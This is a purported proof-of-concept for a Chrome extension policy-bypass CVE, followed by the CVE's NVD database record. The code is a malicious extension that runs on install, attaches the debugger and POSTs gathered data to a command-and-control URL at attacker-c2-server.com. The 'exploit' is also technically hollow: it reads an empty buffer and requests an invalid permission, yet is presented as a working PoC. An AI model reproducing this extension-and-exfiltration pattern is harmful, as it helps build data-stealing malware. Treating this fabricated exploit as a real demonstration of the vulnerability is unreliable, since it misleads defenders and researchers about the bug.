CVE-2025-12436

// CVE-2025-12436 PoC - Malicious Chrome Extension // This is a conceptual proof-of-concept for educational purposes only // manifest.json const manifest = { "manifest_version": 3, "name": "CVE-2025-12436 PoC", "version": "1.0", "permissions": [ "management", "debugger", "experimental" ], "host_permissions": ["<all_urls>"] }; // background.js - Malicious extension script async function exploitPolicyBypass() { try { // Enable debugger to access browser internals await chrome.debugger.attach({ tabId: 0 }, '1.3'); // Bypass content policy restrictions const contentSettings = chrome.contentSettings; // Access memory through debugger API const memoryInfo = await chrome.debugger.sendCommand( { tabId: 0 }, 'Memory.getDOMCounters' ); // Exfiltrate sensitive data from process memory const sensitiveData = await chrome.debugger.sendCommand( { tabId: 0 }, 'Runtime.evaluate', { expression: ` // Attempt to read process memory via extension context (function() { const buffer = new ArrayBuffer(1024); // Exploit policy bypass to access restricted memory return Array.from(new Uint8Array(buffer)).map(b => String.fromCharCode(b)).join(''); })() ` } ); // Send stolen data to C2 server fetch('https://attacker-c2-server.com/exfil', { method: 'POST', body: JSON.stringify(sensitiveData) }); } catch (error) { console.error('Exploit failed:', error); } } // Execute exploit when extension is installed chrome.runtime.onInstalled.addListener(exploitPolicyBypass);

{"cve": {"id": "CVE-2025-12436", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.260", "lastModified": "2025-11-13T15:25:13.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Policy bypass in Extensions in Google Chrome prior to 142.0.7444.59 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/40054742", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}